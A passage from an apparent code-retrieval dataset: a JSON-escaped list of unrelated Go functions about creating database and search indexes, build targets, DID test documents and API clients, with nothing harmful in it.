20},\\n\\t}\\n\\n\\tfor i, options := range testOptions {\\n\\t\\tcol := ensureCollection(nil, db, fmt.Sprintf(\\\"fulltext_index_test_%d\\\", i), nil, t)\\n\\n\\t\\tidx, created, err := col.EnsureFullTextIndex(nil, []string{\\\"name\\\"}, options)\\n\\t\\tif err != nil {\\n\\t\\t\\tt.Fatalf(\\\"Failed to create new index: %s\\\", describe(err))\\n\\t\\t}\\n\\t\\tif !created {\\n\\t\\t\\tt.Error(\\\"Expected created to be true, got false\\\")\\n\\t\\t}\\n\\t\\tif idxType := idx.Type(); idxType != driver.FullTextIndex {\\n\\t\\t\\tt.Errorf(\\\"Expected FullTextIndex, found `%s`\\\", idxType)\\n\\t\\t}\\n\\t\\tif options != nil && idx.MinLength() != options.MinLength {\\n\\t\\t\\tt.Errorf(\\\"Expected %d, found `%d`\\\", options.MinLength, idx.MinLength())\\n\\t\\t}\\n\\n\\t\\t// Index must exists now\\n\\t\\tif found, err := col.IndexExists(nil, idx.Name()); err != nil {\\n\\t\\t\\tt.Fatalf(\\\"Failed to check index '%s' exists: %s\\\", idx.Name(), describe(err))\\n\\t\\t} else if !found {\\n\\t\\t\\tt.Errorf(\\\"Index '%s' does not exist, expected it to exist\\\", idx.Name())\\n\\t\\t}\\n\\n\\t\\t// Ensure again, created must be false now\\n\\t\\t_, created, err = col.EnsureFullTextIndex(nil, []string{\\\"name\\\"}, options)\\n\\t\\tif err != nil {\\n\\t\\t\\tt.Fatalf(\\\"Failed to re-create index: %s\\\", describe(err))\\n\\t\\t}\\n\\t\\tif created {\\n\\t\\t\\tt.Error(\\\"Expected created to be false, got true\\\")\\n\\t\\t}\\n\\n\\t\\t// Remove index\\n\\t\\tif err := idx.Remove(nil); err != nil {\\n\\t\\t\\tt.Fatalf(\\\"Failed to remove index '%s': %s\\\", idx.Name(), describe(err))\\n\\t\\t}\\n\\n\\t\\t// Index must not exists now\\n\\t\\tif found, err := col.IndexExists(nil, idx.Name()); err != nil {\\n\\t\\t\\tt.Fatalf(\\\"Failed to check index '%s' exists: %s\\\", idx.Name(), describe(err))\\n\\t\\t} else if found {\\n\\t\\t\\tt.Errorf(\\\"Index '%s' does exist, expected it not to exist\\\", idx.Name())\\n\\t\\t}\\n\\t}\\n}\",\n \"func (m *MongoDB) CreateIndex(name, key string, order int) (string, error) {\\n\\tcoll, ok := m.coll[name]\\n\\tif !ok {\\n\\t\\treturn \\\"\\\", fmt.Errorf(\\\"not defined collection %s\\\", name)\\n\\t}\\n\\n\\tasscending := 1\\n\\tif order == -1 {\\n\\t\\tasscending = -1\\n\\t}\\n\\n\\tmodel := mongo.IndexModel{\\n\\t\\tKeys: bson.D{{Key: key, Value: asscending}},\\n\\t\\t//Options: options.Index().SetBackground(true),\\n\\t}\\n\\n\\topts := options.CreateIndexes().SetMaxTime(2 * time.Second)\\n\\n\\treturn coll.Indexes().CreateOne(m.ctx, model, opts)\\n}\",\n \"func build_index(pss []Post, index, pre, next int, indexname string) {\\n\\n\\tvar doc bytes.Buffer\\n\\tvar body, name string\\n\\tvar ips Indexposts\\n\\tvar tml *template.Template\\n\\tvar err error\\n\\tips.Conf = conf\\n\\tips.Posts = pss\\n\\tips.Slug = indexname\\n\\tif pre != 0 {\\n\\t\\tips.PreviousF = true\\n\\t\\tips.Previous = pre\\n\\t} else {\\n\\t\\tips.PreviousF = false\\n\\t}\\n\\tif next > 0 {\\n\\t\\tips.NextF = true\\n\\t\\tips.Next = next\\n\\t} else if next == -1 {\\n\\t\\tips.NextF = false\\n\\t} else {\\n\\t\\tips.NextF = true\\n\\t\\tips.Next = next\\n\\t}\\n\\tif next == 0 {\\n\\t\\tips.NextLast = true\\n\\t}\\n\\n\\tips.Links = conf.Links\\n\\tips.Logo = conf.Logo\\n\\tif indexname == \\\"index\\\" {\\n\\t\\tips.Main = true\\n\\t} else {\\n\\t\\tips.Main = false\\n\\t}\\n\\tips.Disqus = false\\n\\tif indexname == \\\"index\\\" {\\n\\t\\ttml, err = template.ParseFiles(\\\"./templates/index.html\\\", \\\"./templates/base.html\\\")\\n\\t} else {\\n\\t\\ttml, err = template.ParseFiles(\\\"./templates/cat-index.html\\\", \\\"./templates/base.html\\\")\\n\\t}\\n\\tif err != nil {\\n\\t\\tfmt.Println(\\\"Error in parsing: \\\", err)\\n\\t}\\n\\terr = tml.ExecuteTemplate(&doc, \\\"base\\\", ips)\\n\\tif err != nil {\\n\\t\\tfmt.Println(\\\"Error in executing the template: \\\", err)\\n\\t}\\n\\tbody = doc.String()\\n\\tif next == -1 {\\n\\t\\tif indexname == \\\"index\\\" {\\n\\t\\t\\tname = fmt.Sprintf(\\\"./output/%s.html\\\", indexname)\\n\\t\\t} else {\\n\\t\\t\\tname = fmt.Sprintf(\\\"./output/categories/%s.html\\\", indexname)\\n\\t\\t}\\n\\t} else {\\n\\t\\tif indexname == \\\"index\\\" {\\n\\t\\t\\tname = fmt.Sprintf(\\\"./output/%s-%d.html\\\", indexname, index)\\n\\t\\t} else {\\n\\t\\t\\tname = fmt.Sprintf(\\\"./output/categories/%s-%d.html\\\", indexname, index)\\n\\t\\t}\\n\\t}\\n\\tf, err := os.Create(name)\\n\\tdefer f.Close()\\n\\tn, err := io.WriteString(f, body)\\n\\n\\tif err != nil {\\n\\t\\tfmt.Println(\\\"Write error: \\\", n, err)\\n\\t}\\n\\t// For Sitemap\\n\\tsmap := Sitemap{Loc: conf.URL + name[9:], Lastmod: current_time.Format(\\\"2006-01-02\\\"), Priority: \\\"0.5\\\"}\\n\\tSDB[smap.Loc] = smap\\n}\",\n \"func NewDocument(class Class, tokens ...string) Document {\\n\\treturn Document{\\n\\t\\tClass: class,\\n\\t\\tTokens: tokens,\\n\\t}\\n}\",\n \"func NewInvertedIndex(\\n\\treader store.Input,\\n\\ttable invertedIndexStructure,\\n) InvertedIndex {\\n\\treturn &invertedIndex{\\n\\t\\treader: reader,\\n\\t\\ttable: table,\\n\\t}\\n}\",\n \"func New(data []byte) *Index {}\",\n \"func createIndexes(ts *Schema, ti *Info, idxs []schema.Index, store *stor.Stor) {\\n\\tif len(idxs) == 0 {\\n\\t\\treturn\\n\\t}\\n\\tts.Indexes = slices.Clip(ts.Indexes) // copy on write\\n\\tnold := len(ts.Indexes)\\n\\tfor i := range idxs {\\n\\t\\tix := &idxs[i]\\n\\t\\tif ts.FindIndex(ix.Columns) != nil {\\n\\t\\t\\tpanic(\\\"duplicate index: \\\" +\\n\\t\\t\\t\\tstr.Join(\\\"(,)\\\", ix.Columns) + \\\" in \\\" + ts.Table)\\n\\t\\t}\\n\\t\\tts.Indexes = append(ts.Indexes, *ix)\\n\\t}\\n\\tidxs = ts.SetupNewIndexes(nold)\\n\\tn := len(ti.Indexes)\\n\\tti.Indexes = slices.Clip(ti.Indexes) // copy on write\\n\\tfor i := range idxs {\\n\\t\\tbt := btree.CreateBtree(store, &ts.Indexes[n+i].Ixspec)\\n\\t\\tti.Indexes = append(ti.Indexes, index.OverlayFor(bt))\\n\\t}\\n}\",\n \"func (g *Generator) generateDDLsForCreateIndex(tableName string, desiredIndex Index, action string, statement string) ([]string, error) {\\n\\tddls := []string{}\\n\\n\\tcurrentTable := findTableByName(g.currentTables, tableName)\\n\\tif currentTable == nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"%s is performed for inexistent table '%s': '%s'\\\", action, tableName, statement)\\n\\t}\\n\\n\\tcurrentIndex := findIndexByName(currentTable.indexes, desiredIndex.name)\\n\\tif currentIndex == nil {\\n\\t\\t// Index not found, add index.\\n\\t\\tddls = append(ddls, statement)\\n\\t\\tcurrentTable.indexes = append(currentTable.indexes, desiredIndex)\\n\\t} else {\\n\\t\\t// Index found. If it's different, drop and add index.\\n\\t\\tif !areSameIndexes(*currentIndex, desiredIndex) {\\n\\t\\t\\tddls = append(ddls, g.generateDropIndex(currentTable.name, currentIndex.name))\\n\\t\\t\\tddls = append(ddls, statement)\\n\\n\\t\\t\\tnewIndexes := []Index{}\\n\\t\\t\\tfor _, currentIndex := range currentTable.indexes {\\n\\t\\t\\t\\tif currentIndex.name == desiredIndex.name {\\n\\t\\t\\t\\t\\tnewIndexes = append(newIndexes, desiredIndex)\\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\tnewIndexes = append(newIndexes, currentIndex)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t\\tcurrentTable.indexes = newIndexes // simulate index change. TODO: use []*Index in table and destructively modify it\\n\\t\\t}\\n\\t}\\n\\n\\t// Examine indexes in desiredTable to delete obsoleted indexes later\\n\\tdesiredTable := findTableByName(g.desiredTables, tableName)\\n\\tif desiredTable == nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"%s is performed before create table '%s': '%s'\\\", action, tableName, statement)\\n\\t}\\n\\tif containsString(convertIndexesToIndexNames(desiredTable.indexes), desiredIndex.name) {\\n\\t\\treturn nil, fmt.Errorf(\\\"index '%s' is doubly created against table '%s': '%s'\\\", desiredIndex.name, tableName, statement)\\n\\t}\\n\\tdesiredTable.indexes = append(desiredTable.indexes, desiredIndex)\\n\\n\\treturn ddls, nil\\n}\",\n \"func NewTargetLister(indexer cache.Indexer) TargetLister {\\n\\treturn &targetLister{indexer: indexer}\\n}\",\n \"func BuildTestDocument() *did.Document {\\n\\tdoc := &did.Document{}\\n\\n\\tmainDID, _ := didlib.Parse(testDID)\\n\\n\\tdoc.ID = *mainDID\\n\\tdoc.Context = did.DefaultDIDContextV1\\n\\tdoc.Controller = mainDID\\n\\n\\t// Public Keys\\n\\tpk1 := did.DocPublicKey{}\\n\\tpk1ID := fmt.Sprintf(\\\"%v#keys-1\\\", testDID)\\n\\td1, _ := didlib.Parse(pk1ID)\\n\\tpk1.ID = d1\\n\\tpk1.Type = linkeddata.SuiteTypeSecp256k1Verification\\n\\tpk1.Controller = mainDID\\n\\thexKey := \\\"04f3df3cea421eac2a7f5dbd8e8d505470d42150334f512bd6383c7dc91bf8fa4d5458d498b4dcd05574c902fb4c233005b3f5f3ff3904b41be186ddbda600580b\\\"\\n\\tpk1.PublicKeyHex = utils.StrToPtr(hexKey)\\n\\n\\tdoc.PublicKeys = []did.DocPublicKey{pk1}\\n\\n\\t// Service endpoints\\n\\tep1 := did.DocService{}\\n\\tep1ID := fmt.Sprintf(\\\"%v#vcr\\\", testDID)\\n\\td2, _ := didlib.Parse(ep1ID)\\n\\tep1.ID = *d2\\n\\tep1.Type = \\\"CredentialRepositoryService\\\"\\n\\tep1.ServiceEndpoint = \\\"https://repository.example.com/service/8377464\\\"\\n\\tep1.ServiceEndpointURI = utils.StrToPtr(\\\"https://repository.example.com/service/8377464\\\")\\n\\n\\tdoc.Services = []did.DocService{ep1}\\n\\n\\t// Authentication\\n\\taw1 := did.DocAuthenicationWrapper{}\\n\\taw1ID := fmt.Sprintf(\\\"%v#keys-1\\\", testDID)\\n\\td3, _ := didlib.Parse(aw1ID)\\n\\taw1.ID = d3\\n\\taw1.IDOnly = true\\n\\n\\taw2 := did.DocAuthenicationWrapper{}\\n\\taw2ID := fmt.Sprintf(\\\"%v#keys-2\\\", testDID)\\n\\td4, _ := didlib.Parse(aw2ID)\\n\\taw2.ID = d4\\n\\taw2.IDOnly = false\\n\\taw2.Type = linkeddata.SuiteTypeSecp256k1Verification\\n\\taw2.Controller = mainDID\\n\\thexKey2 := \\\"04debef3fcbef3f5659f9169bad80044b287139a401b5da2979e50b032560ed33927eab43338e9991f31185b3152735e98e0471b76f18897d764b4e4f8a7e8f61b\\\"\\n\\taw2.PublicKeyHex = utils.StrToPtr(hexKey2)\\n\\n\\tdoc.Authentications = []did.DocAuthenicationWrapper{aw1, aw2}\\n\\n\\treturn doc\\n}\",\n \"func NewIndexer(\\n\\tdb database.Database,\\n\\tlog logging.Logger,\\n\\tmetricsNamespace string,\\n\\tmetricsRegisterer prometheus.Registerer,\\n\\tallowIncompleteIndices bool,\\n) (AddressTxsIndexer, error) {\\n\\ti := &indexer{\\n\\t\\tdb: db,\\n\\t\\tlog: log,\\n\\t}\\n\\t// initialize the indexer\\n\\tif err := checkIndexStatus(i.db, true, allowIncompleteIndices); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\t// initialize the metrics\\n\\tif err := i.metrics.initialize(metricsNamespace, metricsRegisterer); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn i, nil\\n}\",\n \"func New(transport *transport.Transport) *Indices {\\n\\treturn &Indices{\\n\\n\\t\\ttransport: transport,\\n\\t}\\n}\",\n \"func NewTTExtractor(\\n\\tdatabase db.Writer,\\n\\tconf *cnf.VTEConf,\\n\\tcolgenFn colgen.AlignedColGenFn,\\n\\tstatusChan chan Status,\\n\\tstopChan <-chan os.Signal,\\n) (*TTExtractor, error) {\\n\\tfilter, err := LoadCustomFilter(conf.Filter.Lib, conf.Filter.Fn)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tans := &TTExtractor{\\n\\t\\tdatabase: database,\\n\\t\\tdbConf: &conf.DB,\\n\\t\\tcorpusID: conf.Corpus,\\n\\t\\tatomStruct: conf.AtomStructure,\\n\\t\\tatomParentStruct: conf.AtomParentStructure,\\n\\t\\tlastAtomOpenLine: -1,\\n\\t\\tstructures: conf.Structures,\\n\\t\\tcolgenFn: colgenFn,\\n\\t\\tngramConf: &conf.Ngrams,\\n\\t\\tcolCounts: make(map[string]*ptcount.NgramCounter),\\n\\t\\tcolumnModders: make([]*modders.StringTransformerChain, len(conf.Ngrams.AttrColumns)),\\n\\t\\tfilter: filter,\\n\\t\\tmaxNumErrors: conf.MaxNumErrors,\\n\\t\\tcurrSentence: make([][]int, 0, 20),\\n\\t\\tvalueDict: ptcount.NewWordDict(),\\n\\t\\tstatusChan: statusChan,\\n\\t\\tstopChan: stopChan,\\n\\t}\\n\\n\\tfor i, m := range conf.Ngrams.ColumnMods {\\n\\t\\tans.columnModders[i] = modders.NewStringTransformerChain(m)\\n\\t}\\n\\tif conf.StackStructEval {\\n\\t\\tans.attrAccum = newStructStack()\\n\\n\\t} else {\\n\\t\\tans.attrAccum = newDefaultAccum()\\n\\t}\\n\\n\\treturn ans, nil\\n}\",\n \"func createTarget(s *scope, args []pyObject) *core.BuildTarget {\\n\\tisTruthy := func(i int) bool {\\n\\t\\treturn args[i] != nil && args[i] != None && args[i].IsTruthy()\\n\\t}\\n\\tname := string(args[nameBuildRuleArgIdx].(pyString))\\n\\ttestCmd := args[testCMDBuildRuleArgIdx]\\n\\ttest := isTruthy(testBuildRuleArgIdx)\\n\\t// A bunch of error checking first\\n\\ts.NAssert(name == \\\"all\\\", \\\"'all' is a reserved build target name.\\\")\\n\\ts.NAssert(name == \\\"\\\", \\\"Target name is empty\\\")\\n\\ts.NAssert(strings.ContainsRune(name, '/'), \\\"/ is a reserved character in build target names\\\")\\n\\ts.NAssert(strings.ContainsRune(name, ':'), \\\": is a reserved character in build target names\\\")\\n\\n\\tif tag := args[tagBuildRuleArgIdx]; tag != nil {\\n\\t\\tif tagStr := string(tag.(pyString)); tagStr != \\\"\\\" {\\n\\t\\t\\tname = tagName(name, tagStr)\\n\\t\\t}\\n\\t}\\n\\tlabel, err := core.TryNewBuildLabel(s.pkg.Name, name)\\n\\ts.Assert(err == nil, \\\"Invalid build target name %s\\\", name)\\n\\tlabel.Subrepo = s.pkg.SubrepoName\\n\\n\\ttarget := core.NewBuildTarget(label)\\n\\ttarget.Subrepo = s.pkg.Subrepo\\n\\ttarget.IsBinary = isTruthy(binaryBuildRuleArgIdx)\\n\\ttarget.IsSubrepo = isTruthy(subrepoArgIdx)\\n\\ttarget.NeedsTransitiveDependencies = isTruthy(needsTransitiveDepsBuildRuleArgIdx)\\n\\ttarget.OutputIsComplete = isTruthy(outputIsCompleteBuildRuleArgIdx)\\n\\ttarget.Sandbox = isTruthy(sandboxBuildRuleArgIdx)\\n\\ttarget.TestOnly = test || isTruthy(testOnlyBuildRuleArgIdx)\\n\\ttarget.ShowProgress.Set(isTruthy(progressBuildRuleArgIdx))\\n\\ttarget.IsRemoteFile = isTruthy(urlsBuildRuleArgIdx)\\n\\ttarget.IsTextFile = args[cmdBuildRuleArgIdx] == textFileCommand\\n\\ttarget.Local = isTruthy(localBuildRuleArgIdx)\\n\\ttarget.ExitOnError = isTruthy(exitOnErrorArgIdx)\\n\\tfor _, o := range asStringList(s, args[outDirsBuildRuleArgIdx], \\\"output_dirs\\\") {\\n\\t\\ttarget.AddOutputDirectory(o)\\n\\t}\\n\\n\\tvar size *core.Size\\n\\tif args[sizeBuildRuleArgIdx] != None {\\n\\t\\tname := string(args[sizeBuildRuleArgIdx].(pyString))\\n\\t\\tsize = mustSize(s, name)\\n\\t\\ttarget.AddLabel(name)\\n\\t}\\n\\tif args[passEnvBuildRuleArgIdx] != None {\\n\\t\\tl := asStringList(s, mustList(args[passEnvBuildRuleArgIdx]), \\\"pass_env\\\")\\n\\t\\ttarget.PassEnv = &l\\n\\t}\\n\\n\\ttarget.BuildTimeout = sizeAndTimeout(s, size, args[buildTimeoutBuildRuleArgIdx], s.state.Config.Build.Timeout)\\n\\ttarget.Stamp = isTruthy(stampBuildRuleArgIdx)\\n\\ttarget.IsFilegroup = args[cmdBuildRuleArgIdx] == filegroupCommand\\n\\tif desc := args[buildingDescriptionBuildRuleArgIdx]; desc != nil && desc != None {\\n\\t\\ttarget.BuildingDescription = string(desc.(pyString))\\n\\t}\\n\\tif target.IsBinary {\\n\\t\\ttarget.AddLabel(\\\"bin\\\")\\n\\t}\\n\\tif target.IsRemoteFile {\\n\\t\\ttarget.AddLabel(\\\"remote\\\")\\n\\t}\\n\\ttarget.Command, target.Commands = decodeCommands(s, args[cmdBuildRuleArgIdx])\\n\\tif test {\\n\\t\\ttarget.Test = new(core.TestFields)\\n\\n\\t\\tif flaky := args[flakyBuildRuleArgIdx]; flaky != nil {\\n\\t\\t\\tif flaky == True {\\n\\t\\t\\t\\ttarget.Test.Flakiness = defaultFlakiness\\n\\t\\t\\t\\ttarget.AddLabel(\\\"flaky\\\") // Automatically label flaky tests\\n\\t\\t\\t} else if flaky == False {\\n\\t\\t\\t\\ttarget.Test.Flakiness = 1\\n\\t\\t\\t} else if i, ok := flaky.(pyInt); ok {\\n\\t\\t\\t\\tif int(i) <= 1 {\\n\\t\\t\\t\\t\\ttarget.Test.Flakiness = 1\\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\ttarget.Test.Flakiness = uint8(i)\\n\\t\\t\\t\\t\\ttarget.AddLabel(\\\"flaky\\\")\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t} else {\\n\\t\\t\\ttarget.Test.Flakiness = 1\\n\\t\\t}\\n\\t\\tif testCmd != nil && testCmd != None {\\n\\t\\t\\ttarget.Test.Command, target.Test.Commands = decodeCommands(s, args[testCMDBuildRuleArgIdx])\\n\\t\\t}\\n\\t\\ttarget.Test.Timeout = sizeAndTimeout(s, size, args[testTimeoutBuildRuleArgIdx], s.state.Config.Test.Timeout)\\n\\t\\ttarget.Test.Sandbox = isTruthy(testSandboxBuildRuleArgIdx)\\n\\t\\ttarget.Test.NoOutput = isTruthy(noTestOutputBuildRuleArgIdx)\\n\\t}\\n\\n\\tif err := validateSandbox(s.state, target); err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\n\\tif s.state.Config.Build.Config == \\\"dbg\\\" {\\n\\t\\ttarget.Debug = new(core.DebugFields)\\n\\t\\ttarget.Debug.Command, _ = decodeCommands(s, args[debugCMDBuildRuleArgIdx])\\n\\t}\\n\\treturn target\\n}\",\n \"func NewTarget(ctx context.Context, envAcc pkgadapter.EnvConfigAccessor, ceClient cloudevents.Client) pkgadapter.Adapter {\\n\\tenv := envAcc.(*envAccessor)\\n\\tlogger := logging.FromContext(ctx)\\n\\tmetrics.MustRegisterEventProcessingStatsView()\\n\\n\\tclient, err := mongo.Connect(ctx, options.Client().ApplyURI(env.ServerURL))\\n\\tif err != nil {\\n\\t\\tlogger.Panicw(\\\"error connecting to mongodb\\\", zap.Error(err))\\n\\t\\treturn nil\\n\\t}\\n\\n\\treplier, err := targetce.New(env.Component, logger.Named(\\\"replier\\\"),\\n\\t\\ttargetce.ReplierWithStatefulHeaders(env.BridgeIdentifier),\\n\\t\\ttargetce.ReplierWithStaticResponseType(v1alpha1.EventTypeMongoDBStaticResponse),\\n\\t\\ttargetce.ReplierWithPayloadPolicy(targetce.PayloadPolicy(env.CloudEventPayloadPolicy)))\\n\\tif err != nil {\\n\\t\\tlogger.Panicf(\\\"Error creating CloudEvents replier: %v\\\", err)\\n\\t}\\n\\n\\tmt := &pkgadapter.MetricTag{\\n\\t\\tResourceGroup: targets.MongoDBTargetResource.String(),\\n\\t\\tNamespace: envAcc.GetNamespace(),\\n\\t\\tName: envAcc.GetName(),\\n\\t}\\n\\n\\treturn &adapter{\\n\\t\\tmclient: client,\\n\\t\\tdefaultDatabase: env.DefaultDatabase,\\n\\t\\tdefaultCollection: env.DefaultCollection,\\n\\n\\t\\treplier: replier,\\n\\t\\tceClient: ceClient,\\n\\t\\tlogger: logger,\\n\\t\\tsr: metrics.MustNewEventProcessingStatsReporter(mt),\\n\\t}\\n}\",\n \"func (api *TelegramBotAPI) NewOutgoingDocument(recipient Recipient, fileName string, reader io.Reader) *OutgoingDocument {\\n\\treturn &OutgoingDocument{\\n\\t\\toutgoingMessageBase: outgoingMessageBase{\\n\\t\\t\\toutgoingBase: outgoingBase{\\n\\t\\t\\t\\tapi: api,\\n\\t\\t\\t\\tRecipient: recipient,\\n\\t\\t\\t},\\n\\t\\t},\\n\\t\\toutgoingFileBase: outgoingFileBase{\\n\\t\\t\\tfileName: fileName,\\n\\t\\t\\tr: reader,\\n\\t\\t},\\n\\t}\\n}\",\n \"func (f CreateIdxOptFunc) ApplyOn(opt *AddRecordOpt) {\\n\\tf(&opt.CreateIdxOpt)\\n}\",\n \"func NewInvertedIndexBySego(docs []Documenter, segmenter *sego.Segmenter, stopword *sego.StopWords) InvertedIndex {\\n\\tinvertedIndex := make(map[string][]*Node)\\n\\twg := &sync.WaitGroup{}\\n\\twg.Add(len(docs))\\n\\tfor _, d := range docs {\\n\\t\\tgo func(doc Documenter) {\\n\\t\\t\\tsegments := segmenter.Segment([]byte(doc.Text()))\\n\\t\\t\\tfiltedSegments := stopword.Filter(segments, true)\\n\\t\\t\\tdoc.SetSegments(filtedSegments)\\n\\t\\t\\twg.Done()\\n\\t\\t}(d)\\n\\t}\\n\\twg.Wait()\\n\\tfor _, doc := range docs {\\n\\t\\tfor _, s := range doc.Segments() {\\n\\t\\t\\ttoken := s.Token()\\n\\t\\t\\tterm := token.Text()\\n\\t\\t\\tlist := invertedIndex[term]\\n\\t\\t\\tif list == nil {\\n\\t\\t\\t\\tnewNode := &Node{doc.Id(), 1, []TermPosition{TermPosition{s.Start(), s.End()}}, doc}\\n\\t\\t\\t\\tlist = []*Node{newNode}\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tisDupNode := false\\n\\t\\t\\t\\tfor _, node := range list {\\n\\t\\t\\t\\t\\tif node.Id == doc.Id() {\\n\\t\\t\\t\\t\\t\\tnode.TermFrequency += 1\\n\\t\\t\\t\\t\\t\\tnewPosition := TermPosition{s.Start(), s.End()}\\n\\t\\t\\t\\t\\t\\tnode.TermPositions = append(node.TermPositions, newPosition)\\n\\t\\t\\t\\t\\t\\tisDupNode = true\\n\\t\\t\\t\\t\\t\\tbreak\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tif !isDupNode {\\n\\t\\t\\t\\t\\tnewNode := &Node{doc.Id(), 1, []TermPosition{TermPosition{s.Start(), s.End()}}, doc}\\n\\t\\t\\t\\t\\tlist = append(list, newNode)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t\\tinvertedIndex[term] = list\\n\\t\\t}\\n\\t}\\n\\treturn invertedIndex\\n}\",\n \"func (mr *ClientMockRecorder) CreateTarget(arg0, arg1 interface{}) *gomock.Call {\\n\\tmr.mock.ctrl.T.Helper()\\n\\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \\\"CreateTarget\\\", reflect.TypeOf((*Client)(nil).CreateTarget), arg0, arg1)\\n}\",\n \"func (msg MsgCreateIndex) Type() string { return \\\"create_index\\\" }\",\n \"func (dbclient *CouchDatabase) CreateNewIndexWithRetry(indexdefinition string, designDoc string) error {\\n\\t//get the number of retries\\n\\tmaxRetries := dbclient.CouchInstance.Conf.MaxRetries\\n\\n\\t_, err := retry.Invoke(\\n\\t\\tfunc() (interface{}, error) {\\n\\t\\t\\texists, err := dbclient.IndexDesignDocExists(designDoc)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn nil, err\\n\\t\\t\\t}\\n\\t\\t\\tif exists {\\n\\t\\t\\t\\treturn nil, nil\\n\\t\\t\\t}\\n\\n\\t\\t\\treturn dbclient.CreateIndex(indexdefinition)\\n\\t\\t},\\n\\t\\tretry.WithMaxAttempts(maxRetries),\\n\\t)\\n\\treturn err\\n}\",\n \"func (a *AdminApiService) CreateTarget(ctx _context.Context, target Target) (*_nethttp.Response, error) {\\n\\tvar (\\n\\t\\tlocalVarHTTPMethod = _nethttp.MethodPost\\n\\t\\tlocalVarPostBody interface{}\\n\\t\\tlocalVarFormFileName string\\n\\t\\tlocalVarFileName string\\n\\t\\tlocalVarFileBytes []byte\\n\\t)\\n\\n\\t// create path and map variables\\n\\tlocalVarPath := a.client.cfg.BasePath + \\\"/admin/target\\\"\\n\\tlocalVarHeaderParams := make(map[string]string)\\n\\tlocalVarQueryParams := _neturl.Values{}\\n\\tlocalVarFormParams := _neturl.Values{}\\n\\n\\t// to determine the Content-Type header\\n\\tlocalVarHTTPContentTypes := []string{\\\"application/json\\\"}\\n\\n\\t// set Content-Type header\\n\\tlocalVarHTTPContentType := selectHeaderContentType(localVarHTTPContentTypes)\\n\\tif localVarHTTPContentType != \\\"\\\" {\\n\\t\\tlocalVarHeaderParams[\\\"Content-Type\\\"] = localVarHTTPContentType\\n\\t}\\n\\n\\t// to determine the Accept header\\n\\tlocalVarHTTPHeaderAccepts := []string{\\\"application/json\\\"}\\n\\n\\t// set Accept header\\n\\tlocalVarHTTPHeaderAccept := selectHeaderAccept(localVarHTTPHeaderAccepts)\\n\\tif localVarHTTPHeaderAccept != \\\"\\\" {\\n\\t\\tlocalVarHeaderParams[\\\"Accept\\\"] = localVarHTTPHeaderAccept\\n\\t}\\n\\t// body params\\n\\tlocalVarPostBody = &target\\n\\tr, err := a.client.prepareRequest(ctx, localVarPath, localVarHTTPMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, localVarFormFileName, localVarFileName, localVarFileBytes)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tlocalVarHTTPResponse, err := a.client.callAPI(r)\\n\\tif err != nil || localVarHTTPResponse == nil {\\n\\t\\treturn localVarHTTPResponse, err\\n\\t}\\n\\n\\tlocalVarBody, err := _ioutil.ReadAll(localVarHTTPResponse.Body)\\n\\tlocalVarHTTPResponse.Body.Close()\\n\\tif err != nil {\\n\\t\\treturn localVarHTTPResponse, err\\n\\t}\\n\\n\\tif localVarHTTPResponse.StatusCode >= 300 {\\n\\t\\tnewErr := GenericOpenAPIError{\\n\\t\\t\\tbody: localVarBody,\\n\\t\\t\\terror: localVarHTTPResponse.Status,\\n\\t\\t}\\n\\t\\tif localVarHTTPResponse.StatusCode == 400 {\\n\\t\\t\\tvar v Error\\n\\t\\t\\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\\\"Content-Type\\\"))\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tnewErr.error = err.Error()\\n\\t\\t\\t\\treturn localVarHTTPResponse, newErr\\n\\t\\t\\t}\\n\\t\\t\\tnewErr.model = v\\n\\t\\t\\treturn localVarHTTPResponse, newErr\\n\\t\\t}\\n\\t\\tif localVarHTTPResponse.StatusCode == 401 {\\n\\t\\t\\tvar v Error\\n\\t\\t\\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\\\"Content-Type\\\"))\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tnewErr.error = err.Error()\\n\\t\\t\\t\\treturn localVarHTTPResponse, newErr\\n\\t\\t\\t}\\n\\t\\t\\tnewErr.model = v\\n\\t\\t\\treturn localVarHTTPResponse, newErr\\n\\t\\t}\\n\\t\\tif localVarHTTPResponse.StatusCode == 403 {\\n\\t\\t\\tvar v Error\\n\\t\\t\\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\\\"Content-Type\\\"))\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tnewErr.error = err.Error()\\n\\t\\t\\t\\treturn localVarHTTPResponse, newErr\\n\\t\\t\\t}\\n\\t\\t\\tnewErr.model = v\\n\\t\\t\\treturn localVarHTTPResponse, newErr\\n\\t\\t}\\n\\t\\tif localVarHTTPResponse.StatusCode == 409 {\\n\\t\\t\\tvar v Error\\n\\t\\t\\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\\\"Content-Type\\\"))\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tnewErr.error = err.Error()\\n\\t\\t\\t\\treturn localVarHTTPResponse, newErr\\n\\t\\t\\t}\\n\\t\\t\\tnewErr.model = v\\n\\t\\t\\treturn localVarHTTPResponse, newErr\\n\\t\\t}\\n\\t\\tif localVarHTTPResponse.StatusCode == 500 {\\n\\t\\t\\tvar v Error\\n\\t\\t\\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\\\"Content-Type\\\"))\\n\\t\\t\\tif err != 